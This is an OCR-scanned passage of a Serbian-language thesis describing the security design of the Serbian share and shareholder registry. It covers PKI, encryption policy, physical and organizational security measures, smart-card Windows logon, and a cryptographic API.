predstavljaju centralnu temu ovog rada, ovom poglavlju ¢e biti poklonjena narocita
paznja. U narednom delu teksta bi¢e detaljno opisan sistem bezbednosti kojim je
zaSti¢en informacioni sistem Registra akcija 1 akcionara.

4.1 OSNOVNI POSTULATI BEZBEDNOSTI SISTEMA

Savremene racunarske mreZze, kao Sto je 1 mreza Registra akcija 1 akcionara, u
najve¢oj meri se zasnivaju na Internet tehnologijama i1 odgovarajuéim mreZznim
protokolima. Mrezni protokoli predstavljaju skup pravila koja poStuju entiteti -
ucesnici u komunikaciji putem raunarske mreze. U praksi se koristi viSe razliitih
protokola, u zavisnosti od operativnog sistema koji se Koristi. Za vreme upotrebe
Novell operativnog sistema, osnovni protokol koji je koris¢en bio je IPX/SPX
protokol. Uvodenjem Microsoft-ovih operativnih sistema, dominantu ulogu preuzima
TCP/IP protokol. Neophodno je napomenuti da je Microsoft, razvojem Windows NT
4.0 operativnog sistema, dopustio alternativnu upotrebu vise protokola.
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TCP/IP protkol se zasniva na OSI komunikcionom modelu koji podrazumeva obradu
podataka na sedam nivoa, kako je to prikazano na sledecoj slici :

Sending Computer Receiving Computer
v. OSI Model |i e
,,.*51_:...
Layer 7
Layer &
Layer 5
Layer 4
Layer 3 - Layer 3
fthe P In TCP/IF}
Layer2 | wer Layer 2
Layer 1 Layer 1

Slika 4.1 Graficki prikaz sedam nivoa OSI referentnog modela

Posmatraju¢i problem bezbednosti sa stanoviSta Cinjenice da se Internet/Intranet
komunikacija odvija putem TCP/IP protokola, o¢igledno je da kori$¢eni protokol sam
po sebi ne obezbeduje dovoljan nivo zastite. TCP/IP protokol nije projektovan da
zadovolji zahteve =za zaStitom informacija, ve¢ da omoguc¢i Sto efikasniju
komunikaciju izmedu ra¢unarskih resursa.

Na sledecoj slici je prikazan izgled panela za podesavanje TCP/IP parametara :

Internet Protocol {TCP/IP) Properties x|

General |

“fou can get |P settings assigned automatically if your network supports
this capability. Othenwize, you need to ask pour network. administratar for
the appropriate IP settings.

€ Dbtain an IP addiess automatically

—f% Use the following IF addiess:

1P address: 17216 . 30 .22

Subnet mask:; 285.285. 0 .0
Default gateway: 172,16 .30 . 1

 Obtain DHG server address automatically

—f% Use the following DNS server addiesses

Preferred DNS server: o1 .1 .1
Alenate DNS server. 0.1 .1 .2

Ok Cancel

Slika 4.2 1zgled panela za podeSavanje TCP/IP parametara
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Takode je neophodno konstatovati da je Internet mreza sa komutacijom paketa, u
kojoj se jednostavno pristupa paketima informacija koje se prenose kroz mrezu. Na
osnovu izloZenog sledi da je relaltivno lako moguce presretanje komunikacijskih
paketa, kao 1 njihovo fabrikovanje 1 neovlaS¢ena izmena.

Radi reSavanja navedenih problema, uporedo sa razvojem tehnologije racunarskih
mreza, razvijaju se i specijalizovani softverski i hardverski sistemi zastite. Danas u
svetu postoji veliki broj proizvodaca tehnoloski kvalitetnih proizvoda za razlicite
nivoe zaStite savremenih mreza. U ove proizvode su, izmedu ostalog, ugradeni javni
standardni kriptografski algoritmi. lako pomenuti proizvodi, nesumnjivo, predstavljaju
veoma kvalitetna reSenja sa stanoviSta tehnologije realizacije, njihova primena u
TCP/IP racunarskim mrezama sa bezbednosno osetljivim podacima, nije pouzdana.
Osnovni razlog je nepostojanje potpune sigurnosti u kriptografski kvalitet ovih
reSenja, budu¢i da se ne mogu verifikovati na nivou izvornog koda, koji se ne
isporucuje od strane proizvodaca.

Prilikom projektovanja sistema bezbednosti Registra akcija i akcionara poStovana su
cetiri osnovna postulata bezbednosti :

- Zastita tajnosti transakcija, odnosno razmenjenih podataka,
- Verifikacija autenti¢nosti strana u komunikaciji,

- ZaStita integriteta podataka koji se razmenjuju u sistemu,

- Neporecivost izvrSenih transakcija.

Navedene funkcije su realizovane primenom PKI sistema, Sto podrazumeva primenu
tehnologije digitalnih sertifikata i digitalnog potpisa. Digitalni sertifikati su detaljnije
opisani u Appendix-u E, dok je digitalni potpis detaljnije opisan u Appendix-u A.

4.1.1 TEORIJSKE OSNOVE ZASTITE INFORMACIONIH SISTEMA

Postoje dve osnovne vrste Sifarskih sistema i to :

- simetriéni Sifarski sistemi 1
- asimetri¢éni Sifarski sistemi.

Simetri¢ni Sifarski sistemi podrazumevaju da se Sifrovanje i deSifrovanje obavljaju
jednim klju¢em. Asimetri¢ni Sifarski sistemi polaze od pretpostavke da se Sifrovanje
obavlja jednim kljucem, dok se deSifrovanje obavlja drugim, odgovaraju¢im, kljuem.
U tu svrhu su razvijeni i specijalizovani algoritmi, 1 to kako za simetri¢ne, tako 1 za
asimetricne Sifarske sisteme.

Istorijski posmatrano, prvi su nastali simetri¢ni Sifarski sistemi, koji omogucéavaju
Sifrovanje podataka sa sasvim zadovoljavaju¢im nivoom sigurnosti. Problem se
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pojavio pojavom distibuiranih raunarskih sistema, kada je bilo neophodno da svaki
ucesnik razmeni klju¢ za Sifrovanje sa svakim od ucesnika u komunikaciji. Ukoliko u
komunikaciji ucestvuje n ucesnika, neophodno je da svako sa svakim razmeni svoj
klju¢ za Sifrovanje, Sto znaci da postoje dva slanja kljuca po jednom paru ucesnika u
komunikaciji. To ukupno podrazumeva broj razmena kljuc¢eva koji se izraCunava na

slede¢i nacin [34] :
n_ n(n-1)
2 2

Ocigledno je da broj razmena rapidno raste sa povecanjem broja ucesnika, $to znatno
oteZzava sigurnosnu razmenu kljueva. 1z pomenutih razloga, doslo je do razvoja
asimetri¢nih Sifarskih sistema u kojima se podrazumeva publikovanje javnog kljuca te
nije potrebno da ucesnici medusobno razmenjuju svoje kljueve za Sifrovanje,
odnosno desifrovanje.

Savremena zastita informacionih sistema se bazira na primeni PKI sistema. Nakon
detaljnih analiza postavljenih projektnih zahteva doslo se do zakljucka da je PKI
sistem zaStite optimalno reSenje imaju¢i u vidu da je u Registru akcija 1 akcionara
primenjeno distribuirano mrezno resenje implementacijom viseslojne Web aplikacije.

Sistem zastite sa javnim klju¢evima se bazira na €injenici egzistiranja dva kljuca koji
¢ine jedinstveni par. Jedan od kljuceva je javan i publikuje se tako da je dostupan svim
zainteresovanim ucesnicima u komunikaciji. Drugi klju¢ je poznat iskljucivo vlasniku
kljuca 1 naziva se tajnim klju¢em. Tajni klju¢ se najc¢eS€e koristi za digitalno
potpisivanje Sifrovanih podataka. Primalac poruke moze javnim klju¢em verifikovati
digitalni potpis 1 na taj naCin utvrditi autenti¢nost potpisnika. Uzmajuéi u obzir
¢injenicu o neophodnosti komuniciranja sa ostalim entitetima na finansijskom trzistu,
sistem zaStite sa javnim kljucevima dobija svoje puno opravdanje. Infrastruktura sa
javnim klju€evima se bazira na kombinovanoj primeni asimetri¢nih 1 simetricnih
Sifarskih sistema.

Imajuéi na umu karakteristike simetricnih 1 asimetri¢nih Sifarskih sistema, kao i
osnovne postulate bezbednosti sistema moZze se konstatovati sledece :

- Zastita tajnosti podataka se postize primenom simetri¢nih Sifarskih sistema,

- Autenti¢nost se obezbeduje asimetri¢nim Sifarskim sistemima,

- Integritet podataka se takode realizuje primenom asimetri¢nih S$ifarskih
sistema,

- Neporecivost transakcija se ostvaruje putem asimetricnih Sifarskih sistema,

Iz navedenog sledi zakljucak da se za primenu PKI sistema koriste oba kriptografska
sistema.
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Ukoliko se vrsi poredenje PKI sistema zastite i klasi¢nih sistema zastite uocava se vise
prednosti PKI sistema u distribuiranim informacionim sistemima, kao Sto je u ovom
slucaju informacioni sistem Registra akcija 1 akcionara :

1. Podrska razlicitim politikama rada PKI sistema

Pre projektovanja i implementacije sistema bezbednosti, neophodno je ustanoviti
bezbednosnu politiku sistema. Politika postavlja osnovne koncepte bezbednosti i
sastoji se iz dva osnovna dokumenta : Politika Sertifikacije - CP i Prakti¢na pravila
sertifikacije - CPS. PKI sistem omogucéava primenu razli¢itih bezbednosnih politika,
od kojih zavisi format digitalnih sertifikata, kao i ekstenzije koje se Kkoriste u
digitalnim sertifikatima. Bezbednosna politika se konfiguriSe primenom editora
bezbednosne politike (Security Policy Editor).

2. Bezbednost sistema

Centralni deo PKI sistema predstavlja Sertifikaciono telo - CA, ¢iji je cilj da kontrolise
sve digitalne sertifikate i kriptografske kljuceve. Zastita samog CA predstavlja jedan
od najvaznijih zadataka, $to zna¢i da se za samo CA mora obezbediti najvisi nivo
bezbednosti. Ukoliko bi doSlo do kompromitovanja CA, odnosno tajnog kljuca
asimetriénog Sifarskog sistema CA, doSlo bi do kompromitacije celokupnog PKI
sistema.

3. Skalabilnost

PKI sistemi su skalabilno dizajnirani tako da mogu naci svoju primenu od malih
kofiguracija, koje mogu raditi samo na jednom racunaru pa sve do velikih instalacija
sistema. PKI sistem podrzava jednostavno proSirenje sistema dodavanjem pojedinih
modula bez prekida rada u sistemu.

4. Fleksibilnost
Fleksibilnost PKI sistema podrazumeva da sistem mora ispuniti sledece zahteve:

- Podrska razli¢itim mehanizmima razmene PKI parametara,

- Podrsku razlicitim bezbednosnim modulima, malim hardverskim modulima
(tokenima), smart karticama, kao i HSM uredajima,

- Podrska razli¢itim kriptografskim algoritmima, kako javnim, tako i tajnim,

- Ustanovljavanje viSestrukih sistema publikacije izdatih 1 povuceni digitalnih
sertifikata koji podrazumevaju razliCite eksterne direktorijumske servise
(LDAP i X.500) kao i publikaciju na hard disku servera,

- Omogucavanje provere validnosti sertifikata putem objavljivanja liste
povucenih sertifikata CRL,

- Podrska slozenim PKI hijerarhijskim sistemima, kao i unakrsnoj sertifikaciji sa
drugim sertifikacionim telima,
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- Podrska viSestrukih kljuceva 1 sertifikata po jednom korisniku, Sto znaci da se
koristi jedan par kljuceva za digitalno potpisivanje, a drugi za Sifrovanje
podataka u okviru digitalne anvelope,

- Fleksibilnost procesa autorizacije, Sto podrazumeva da zahtev za izdavanjem
sertifikata moze biti autorizovan od strane jedne ili viSe ovlaS¢enih osoba,

- Postojanje mogucénost automatske obrade zahteva za izdavanjem sertifikata.

5. Jednostavnost koriséenja

PKI sistem je projektovan tako da je relativno jednostavan za koris¢enje. Obuka je
krajnje pojednostavljena 1 kratkotrajna za svaki tip korisnika, pa se na taj nacin
mogucnost nastanka problema svodi na najmanju mogucéu meru.

6. Otvorenost sistema

Interoperabilnost sa drugim CA se mora unapred predvideti, Sto se postize kori§¢enjem
X.509v3 otvorenog standarda za digitalni sertifikat. Detaljniji opis je dat u Appendix-
uE.

U narednom delu teksta su, u kratkim crtama, navedene osnovne komponente PKI
sistema :

- Politika sertifikacije - CP (predstavlja osnovni dokument rada PKI sistema),

- Prakticna pravila sertifikacije - CPS (dokument koji blize definiSe nacin
sprovodenja politike sertifikacije),

- Sertifikaciono telo - CA (predstavlja centralni segment PKI sistema, koji
generiSe i upravlja digitalnim sertifikatima i kriptografskim kljuc¢evima),

- Registraciono telo - RA koje moze, a i ne mora postojati u PKI sistemu
(osnovna namena RA je da preuzme deo poslova CA vezan za upravljenje
digitalnim sertifikatima),

- Sistemi za distribuciju digitalnih sertifikata (predstavljaju hardversku i
softversku infrastrukturu putem koje se digitalni sertifikati dostavljaju
korisnicima),

- PKI aplikacije (softverski alati koji omogucavaju izvrSavanje funkcija PKI
sistema).

4.1.2 KONCEPT ZASTITE SISTEMA REGISTRA AKCIJA |
AKCIONARA

Pre pristupanja odabiru i samoj realizaciji koncepta zastite sistema Registra akcija i
akcionara izvrSena je analiza moguc¢ih mehanizama zaStite. Anlizirano je viSe
mogucih koncepata koje je mogucée primeniti u cilju bezbednog funkcionisanja
informacionog sistema Registra.
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Nakon podrobne analize zakljuceno je da sistem zaStite Registra treba da se zasniva na
slede¢im osnovnim postavkama :

- ViSeslojna kriptografska zasStita podataka na aplikativhom, transportnom i
mreznon nivou ISO/OSI referentnog modela primenom asimetricnih i
simetri¢nih Sifarskih sistema,

- Realizovanje kriptografskog aplikacionog programskog interfejsa -
kriptografski API, kao i ugradivanje u specijalizovane aplikacije realizovane u
okviru Registra,

- Realizacija sopstvenih asimetri¢nih i simetri¢nih kriptografskih algoritama na
aplikativnom i transportnom nivou, €iji je kvalitet proveriv na nivou koda 1 visi
od komercijalnih reSenja koja su dostupna na trzistu,

- Primena standardnih mehanizama zaStite na nivou operativnog sistema na
mreznom nivou ISO/OSI referentnog modela u okviru komercijalnih
komunikacionih 1 mreznith uredaja, kao 1 primena mehanizama antivirusne
zastite,

- Koriséenje specijalizovanih kriptografskih servera zastite - security gateways
za kompletno zasticenu razmenu podataka u okviru interne komunikacione
mreze Registra i sigurno razdvajanje bezbednosno osetljivin segmenata mreze,

- Kiriptozastita opStenamenskih aplikacija koje se koriste u raunarskoj mrezi
Registra kao Sto su: ftp, telnet, e-mail, http, primenom posebno realizovanih
kriptografskih modula,

- KoriS¢enje smart kartica za generisanje kljuceva 1 digitalnog potpisa, kao i
bezbednih nosioca kriptografskih kljuceva i digitalnih sertifikata

- Realizacija funkcija PKI sistema za jednozna¢nu identifikaciju ucesnika u
okviru racunarske mreze Registra, kao 1 za generisanje 1 upravljanje klju¢evima
za asimetri¢ne 1 simetriéne Sifarske sisteme,

- Kombinovana softversko/hardverska reSenja kriptozaStite bazirana na smart
karticama kao kriptografskim koprocesorima.

Da bi se realizovali svi navedeni principi usvojena je bezbednosna politika
informacionog sistema Registra. Politika zasStite Registra se odnosi na definisanje
pravila u pristupu informacijama, kao i na propisane procedure za kombinovano
koris¢enje kriptografskih i drugih mera zastite. Obzirom da su uvedeni potpuno novi
kriptografski mehanizami u okviru Registra, definisana je nova politika zastite koja
sveobuhvatno uvazava sve aspekte sistema zaStite i1 njihovu integraciju u Ccitav
informacioni sistem.

4.1.3 POLITIKA ZASTITE REGISTRA

U okviru sistema zaStite sistema Registra se, pored kriptografskih, primenjuju i druge
mere zastite (fizicko-tehnicke, organizacione, zakonodavno-pravne i kadrovske) kako
bi se ostvarila celovita bezbednost sistema. Ove mere se odnose na zaposlena lica,
prostorije, uredaje 1 opremu koja se koristi u sistemu. Politika zaStite Registra se
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odnosi na definisanje pravila u pristupu informacijama, kao i na propisane procedure
za kombinovano kori$éenje kriptografskih i drugih mera zastite.

U okviru realizacije sistema zaStite Registra, izradena je 1 usvojena politike zastite
Registra koju ¢ine :

- Organizacione mere,

- Logicko-tehnicke mere,

- Fizicko-tehniCke mere,

- Bezbednosne mere za upravljanje dokumentacijom u Registru.

Ovde je neophodno napomenuti da su prilikom definisanja Politike zaStite registra
akcija i akcionara poStovani NIST standardi za evaluaciju nivoa bezbednosnih
procedura, Sto je detaljnije opisano u Appendix-u B.

Organizacione mere predstavljaju jedan od klju¢nih c¢inilaca koji imaju uticaj na
realizaciju svih ostalih mera, kao i na primenjene mehanizme zastite. Ukoliko
organizacione mere zaStite ne bi bile pravilno postavljene, tada bi drugi elementi
zaStite postali neefikasni i neupotrebljivi. Dobre organizacione mere zastite
omogucavaju da se eventualni nedostaci u drugim elementima zastite mogu laksSe
prevazi¢i. Takode, utiCu na optimalno 1 efikasno koriS¢enje sistema 1 mreZe kao 1
kontinuirano uvodenje novih servisa i1 funkcija u skladu sa pravcima razvoja
informacionog sistema u celini. Posebno vazan element je odrzavanje zahtevanog
nivoa zaStite tokom ¢itavog Zivotnog veka informacionog sistema Registra.

Primena organizacionih mera zastite ne predstavlja jednostavan postupak iz razloga
Sto se u velikoj meri oslanja na uticaj ljudskog faktora. Postavljeni su strogi zahtevi u
pogledu provere zaposlenih pre stupanja u radni odnos. Takode se insistira na radnoj
disciplini i posStovanju propisanih postupaka i procedura. Dosledna primena
organizacionih mera vrlo brzo ukazuje na propuste kao Sto su povrsno izvrSavanje
obaveza i postojanje brojnih drugih nedostataka nastalih aktivnostima samih
izvrSilaca. Pored navedenog, nije dozvoljen nekontrolisani pristup prostorijama gde se
obavljaju bezbedonosno osetljivi poslovi. Kombinovanom primenom tehnickih i
organizacionih mera omogucen je fizi¢ki pristup podsistemima zaStite samo uskom
krugu ovlas¢enih korisnika.

Posebna pazZnja je posvecena razdvajanju sloZenih funkcija obrade koje se izvrSavaju i
informacionom sistemu od strane ovlaséenih osoba. Istovremeno je izvrSeno
objedinjavanje esencijalnih funkcija u logi¢ke grupe. Razdvajanje je izvrSeno u cilju
sprecCavanja neefikasnosti u radu, konflikta interesa, gubitka kontrole itd.
Razdvajanjem sloZenih funkcija je spre¢eno neovlaS¢eno 1 zlonamerno koriS€enje
sistemskih resursa, programa i podataka. Istovremeno je onemogucena neovlaséena i
zlonamerna modifikacija i manipulacija programima i podacima, dok je istovremeno
obezbedena valjanost, integritet i tacnost sistemskog i aplikativnog programskog
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okruzenja. Razdvajanjem funkcija u sistemu zaStite stvoreni su uslovi da svaki entitet
izvrSava deo posla iz svoje nadleznosti.

Razdvajanje slozenih funkcija je izvedeno na viSe nivoai to :

- organizacionom,

- tehnoloSkom,

- fizickom,

- administrativnom nivou.

Druga znaCajna organizaciona mera koja je preduzeta je udvajanje odnosno
multiplikacija funkcija. Iako se moZe uciniti da je ova mera u suprotnosti sa
razdvajanjem funkcija, one se u sustini dopunjavaju i obezbeduju visi nivo zastite.
Razdvajanjem funkcija se vrsi raspodela zaduzenja, dok se multiplikacijom funkcija
obezbeduje da u kritiénim tackama zastite 1 kontrole, odluka ne bude ostavljena
pojedincu ili jednom modulu odnosno komponenti sistema ve¢ viSe entiteta ucestvuje
u izvrSavanju finkcije, u cilju povecanja pouzdanosti i bezbednosti. Analogno
razdvajanju funkcija i udvajanje funkcija, odnosno multiplikacija, se moze izvesti na
organizacionom, tehni¢ko-tehnoloskom, fizickom i administrativnom nivou. U
najveé¢em broju slucajeva se izvodi na tehnicko-tehnoloSkom i organizacionom nivou.
Multiplikacija funkcija na organizacionom nivou znaci da zastitu 1 kontrolu na jednom
vrsi jedna osoba sa samo njoj dostupnim parametrima, ve¢ dve ili viSe osoba. Tako se
samo objedinjavanjem njihovih parametara, u ovom slucaju delova kljuceva, moze
izdati validan digitalni serifikat.

U narednom delu teksta ¢e biti opisana jedna od najznacajnijih organizacionth mera
zaStite Registra akcija 1 akcionara. Re¢ je o nadzoru i upravljanju informacionim
sistemom sa integrisanim sistemom zastite, koji se vrSi preko Centra za nadzor i
upravljanje. U sklopu Centra za nadzor 1 upravljanje se nalazi i skup upravljacko-
kontrolnih komandi koje se aktiviraju u slucaju otkaza neke od komponenti u
raCunarskoj mrezi. Centar za nadzor 1 upravljanje prati funkcionisanje rutera,
opterecenost linkova, kontroliSe performanse mrezZe, daje izveStaje o neautorizovanim
pokuSajima pristupa, kao i jo§ neke predvidene operacije. Sistem za nadzor je
centralizovan i kontinuirano obezbeduje informacije ovlas¢enim entitetima koji su
zaduzeni da prate razmenu podataka, stanje komunikacione i serverske opreme, stanje
aplikativnih kriptografskin servera i drugih kriptografskih komponenti u mrezi.
Funkcija nadzora i upravljanja mrezom ostvaruje se primenom SNMP protokola koji
je integrisan u podsistem zaStite da bi se obezbedila on-line detekcija eventualnog
napada na mrezu ili neki od njenih delova kao i naruSavanja njene bezbednosti. Jedna
od redovnih aktivnosti je provera kontrolnih suma izvrSnih programa kako bi se na
vreme intervenisalo u slu¢aju promene kontrolne sume koja ukazuje na napad preko
udaljenog malicioznog softvera tipa trojanskog konja. Sistem za nadzor i upravljanje
obuhvata specijalizovani softver za rad menadZera za nadzor, kao i skup SNMP
agenata koji su distribuirani u mrezi radi pracenja i kontrole rada pojedinih elemenata.
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Za kontrolu i funkcionisanje celokupnog sistema zastite Registra akcija i akcionara
odredena su posebna lica kojima je to isklju€ivi zadatak. Formirana je posebna
organizaciona jedinca u okviru Registra akcija i akcionara, €iji je zadatak nadzor i
neprekidno unapredivanje funkcionisanja celokupnog sistema zastite Registra. Sva
lica koja rade u organizacionoj jedinici sistema zastite Registra prolaze odgovarajuéu
bezbednosnu proveru i obuku, a narocito osobe koje produkuju kriptografske kljuceve,
i generiSu digitalne sertifikate. Kadrovska struktura lica koja rade u sistemu zastite
Registra akcija i akcionara je brizljivo koncipirana sa posebnim akcentom na

strucnost, poverenje, osnovne eticke principe 1 iskustvo na poslovima kriptozastite.

Pristup prostorijama u kojima se obavljaju bezbedonosno osetljivi poslovi je
dozvoljen isklju¢ivo ovlas€enim licima 1 strogo je kontrolisan. Imajué¢i u vidu
¢injenicu da je broj zaposlenih u Registru akcija 1 akcionara relativno mali, pristup
svim prostorijama je strogo kontrolisan neprekidnim video nadzorom, kao i
otvaranjem vrata isklju¢iivo opti¢kim karticama putem c¢itaca koji su instalirani na
ulaznim vratima svih prostorija Registra. Putem predefinisanih prava na pristup
prostorijama, svaki zaposleni moze pristupiti iskljuivo prostorijama za koje ima
ovlascenje.

Generisanje kljuceva, formiranje digitalnih sertifikata, personalizacija smart kartica
kao 1 vodenje evidencije o izdatim i1 povucenim sertifikatima se obavlja u posebno za
to odredenoj prostoriji koja je izdvojena i posebno obezbedena i zasticena.

Slican sistem zaStite je primenjen i na prostorije u kojim se nalazi oprema od vaznosti
za bezbednost sistema. Tu se pre svega misli na komunikacionu i drugu opremu kao
Sto su serveri, gateway, ruteri 1 sli¢no.

Mere zaStite za prostorije obuhvataju dva aspekta :

- kontrola pristupa u mrezi,
- fizi¢ko 1 tehnicko obezbedenje prostorija.

Kontrola pristupa prostorijama se odvija na nacin kako je to opisano u prethodnom
delu teksta. Posebna paznja je posvecena obezbedenju zaStite od KEMZ-a u
prostorijama u kojima se nalaze uredaji na kojima se proizvode kriptoloski dokumenti,
generiSu kriptoloski kljucevi 1 formiraju digitalni serifikati. Na ovim mestima su
primenjene mere redudantnosti sistema, odnosono omogucen je automatski back-up
sistema. Takode je obezbeden kontinuirani rad sistema u slucaju nestanka elektri¢ne
energije ili druge vise sile.

Uredaji na kojima se proizvode kriptoloski dokumenti, generiSu kriptoloski kljucevi 1
formiraju digitalni sertifikati, su izdvojeni 1 namenjeni isklju¢ivo za tu vrstu posla.
Pristup u funkcionalnom smislu i rukovanje tim uredajima je ograni¢eno samo na lica
koja su ovlaS¢ena za te postupke. Kontrola pristupa uredajima moze se obavljati
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kombinovano i to preko smart kartice i lozinke, kao i opisanih postupaka kontrola
pristupa prostorijama. U kontinuitetu se vrSi provera, kontrola, ispitivanje i testiranje
svih programa i drugih softverskin komponenti koje se unose i instaliraju u
komponente mreze Registra.

Ugradeni sistem zaStite se oslanja na striktnu i sistemati¢nu organizaciju. Brojni
primeri u praksi potvrduju da je neracionalno ulagati sredstva u skupa i1 sloZena
tehni¢ka reSenja, kriptoloske 1 druge sistemske metode zastite, a da pri tom nisu
realizovane organizacione, Cesto 1 elementarne, mere zaStite kao Sto su disciplina,
odgovornost, strogo kontrolisana distribucija dokumenata, propisani nacini ¢uvanja,
kopiranja i uniStavanja dokumenata i drugo.

4.2 SISTEM ZASTITE NA BAZI SMART KARTICA

U narednom poglavlju ¢e biti prikazan kratak opis sistema zasticenog logovanja na
radnu stanicu ili domen na bazi smart Kkartice - zasticeni smart card Win Logon
system. Ovaj sistem radi sa razliitim smart karticama, kako sa privatnim tako 1 sa
JAVA operativnim sistemom, ukljucujucéi slede¢e proizvodace :

- G&D StarCos 2.3, GemPlus GemSAFE, Oberthur AuthentlC za privatne
operativne sisteme i

- JAVA Sm@rtCafe Expert, GemPlus GemXpresso, IBM JCOP and Oberthur
CosmopoHC za JAVA smart Kartice.

Detaljniji pregled osnovnih elemenata smart kartica je dat u Appendix-u C.

421 AUTENTIFIKACIJA KORISNIKA NA SISTEMU

Operativni sistemi racunara kao §to su Windows 2000 i Windows XP omogucavaju
podizanje operativnog sistema radne stanice, logovanje na mrezni domen 1 ucitavanje
korisni¢kog profila na bazi smart kartice.

Postoje dva nacina za realizaciju Win Logon funkcije :

- Metoda bazirana na digitalnom sertifikatu i
- Metoda bazirana na korisnickom imenu i lozinki za pristup smart kartici.

Kod metode sa digitalnim sertifikatom, pri logovanju korisnika na radnu stanicu,
digitalni sertifikat se uzima sa smart kartice i Salje do aktivnog direktorijuma gde se
nalaze izdati i povuceni sertifikati u cilju provere validnosti samog sertifikata. Ako je
sertifikat validan, korisniku se dopusta da se loguje na radnu stanicu ili na domen.
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Druga metoda koristi korisnicko ime i lozinku za standardno logovanje na mrezni
domen, ali se do korisnickog imena i lozinke dolazi ukucavanjem PIN koda smart
kartice.

Obzirom na ve¢e mogucnosti, a imaju¢i u vidu da se moZe integrisati sa procedurom
autentifikacije za rad sa razli¢itim aplikacijama zaStite, u reSenjima zastite Registra
akcija 1 akcionara primenjena je Win Logon funkcija na bazi korisni¢kog imena i
lozinke smeStene na smart kartici. Generalno, postoji viSe nacina za rad sa logon
funkcijom, ato su :

1. Win Logon na bazi PIN koda

Kori$¢enjem ovog nacina logovanja, pri podizanju operativnog sistema radne stanice,
korisnik ubacuje smart karticu u ¢ita¢ i upisuje PIN kod Kartice. Operativni sistem
odredenim alatima prilazi tajnom delu memorije, otvorenom posredstvom PIN koda,
uzima korisni¢ko ime i lozinku koji su sacuvani na Kartici i na bazi njih se loguje na
mrezni domen.

2. Win Logon na bazi korisnickog imena i lozinke

U ovom slucaju, korisnik ubacuje karticu i unosi korisni¢ko ime i lozinku umesto PIN
koda, na taj nacin prilazi tajnom delu memorije gde se nalaze korisnicko ime i lozinka
za logovanje na mrezni domen. Oba korisnicka imena i lozinke mogu biti isti, ali i ne
moraju. Korisnik moze svoju lozinku za pristup Kkartici slobodno da menja, bez uticaja
na korisni¢ko ime i lozinku koji sluze za pristup mreznom domenu. Korisnicko ime i
lozinka za pristup mreznom domenu predstavljaju sistemske parametre koji sluze za
pristup aplikacijama zastite i centralnim servisima.

3. Win Logon na bazi otiska prsta

Ukoliko bi se koristio ovaj na¢in logovanja, korisnik bi ubacio svoju karticu, a umesto
PIN koda ili korisni¢kog imena i lozinke, koristio bi svoj otisak prsta za pristup
tajnom delu memorije kartice i otkucao korisni¢ko ime i lozinku za pristup mreznom
domenu. Koris¢enje biometrijskin parametara joS uvek nije rasprostranjeno u
dovoljnoj meri da bi se operativno koristilo. Softver za digitalizaciju biometrijskih
podataka je relativno dobro razvijen, dok osnovni problem predstavlja nedostatak
kvalitetnih skenera za uzimanje i kontrolu otisaka prsta.

Moguce je realizovati 1 varijantu koriS¢enja sve tri autentifikacione komponente, tj. da

korisnik pored toga Sto je ubacio smart karticu, ukuca korisnicko ime i lozinku, kao i
da iskoristi otisak svog prsta.
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4.2.2 OSNOVNE KARAKTERISTIKE WIN LOGON SISTEMA

Osnovne karakterike 1 tehniCki zahtevi zaSti¢enog Win Logon pristupa na radnu
stanicu na bazi smart kartice su :

- Zasticeni sistem logickog pristupa na Windows 2000 i Windows XP radne
stanice i servere, dok kontrola pristupa moze biti lokalna ili domenska,

- Autenti¢no razvijena procedura na bazi smart kartice,

- Strukturu parametara za pristup ¢ine : korisnic¢ko ime, lozinka i domen. Oni se
bezbedno Cuvaju na smart kartici ograni¢avajuéi pristup resursima samo za
korisnike koji imaju odgovaraju¢e smart kartice iz datog sistema,

- KoriS¢enje profila korisnika, roaming ili mandatory, se definiSe i1 uspostavlja na
serveru od strane autorizovanog sistem administratora,

- Korisnici mogu slobodno da menjaju lozinku za pristup smart Kkartici, ali ne
mogu da menjaju parametre za pristup sistemu. To moze da uradi samo
administrator u skladu sa Politikom zastite informacionog sistema,

- Pracenje aktivnosti i kontrola akcija koje treba da budu izvrSene kada je kartica
van Citaca ili u slu¢aju predefinisanog perioda neaktivnosti korisnika. Windows
2000 ili Windows XP operativni sistem moZe zakljucati monitor radne stanice
u unapred definisanoj formi, tako da se niSta ne moze videti na monitoru ili
pristupiti sa korisnickom Log Off procedurom ili ¢ak Shut Down procedurom
radne stanice. Isto tako, vreme neaktivnosti nakon koga ¢e se racunar zakljucati
moZe biti unapred odredeno i definisano u skladu sa usvojenom politikom od
strane administratora,

- Zasticeni Win 2000 logon sistem je originalno razvijen i bazira se na primeni
pristupa smart kartici na bazi korisnickog imena i lozinke, umesto kori$éenja
PIN koda, zbog vece pogodnosti za logovanje na Windows 2000, odnosno
Windows XP radne stanice,

- Implementirani sistem generalno nudi razli¢ite mogucnosti kastomizacije
sistema u odnosu na izvrSenje specifi¢nih aktivnosti za vreme procedure
logovanja.

Na narednih nekoliko slika, prikazan je izgled i postupak administriranja sistemom

bezbednosti Registra akcija i akcionara. Slike prikazuju postupak administracije
korisnicima i njihovim profilima.
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4.3 KRIPTOGRAFSKE APl FUNKCIJE

Za zaStitu specijalizovanih aplikacija koje su u upotrebi u Registru koristi se
kriptografski aplikativni programerski interfejs - API. On se sastoji od skupa
neophodnih asimetricnih 1 simetriénih kriptografskih funkcija. Ove funkcije se
ugraduju u specijalizovane aplikacije za realizaciju kriptozaStite na aplikativnom
nivou na razli¢itim stepenima i nivoima zaStite u okviru Registra akcija i akcionara.

Kompletan skup kriptografskog API ¢ine sledece funkcije :

- Autentifikacija korisnika za pristup aplikaciji (sign-on),
- Odjava korisnika (sign-off),

- Digitalni potpis (digital signature),

- Verifikacija digitalnog potpisa (verify),

- Sifrovanje (encrypt) i

- Desifrovanje (decrypt).

U daljem tekstu ¢e biti detaljnije opisane pojedine funkcije kriptografskog API.

4.3.1 AUTENTIFIKACIJA KORISNIKA PRILIKOM PRISTUPA
APLIKACIJI

Funkcija kontrole pristupa ovlas¢enih korisnika u Registru bi se mogla realizovati na
viSe nacina. Standardni sistemi identifikacije korisnika svode se uglavnom na unos
korisni¢kog imena (user name) i lozinke (password). Medutim, ove procedure ne
predstavljaju u pravom smislu re¢i procedure autentifikacije odnosno provere
autentiCnosti, jer se relativno lako mogu zloupotrebiti od strane neovlas€enih
korisnika.

U cilju prevazilazenja ovog problema, u Registru je realizovana metoda pouzdane
autentifikacije ovlaS¢enog korisnika Registra koriS¢enjem smart kartica. Pristup smart
kartici je zaStien poznavanjem PIN koda. Da bi se autentikovao na sistemu, ovlaséeni
korisnik mora, pored poznavanja PIN koda smart kartice (Sto je proces odgovarajuci
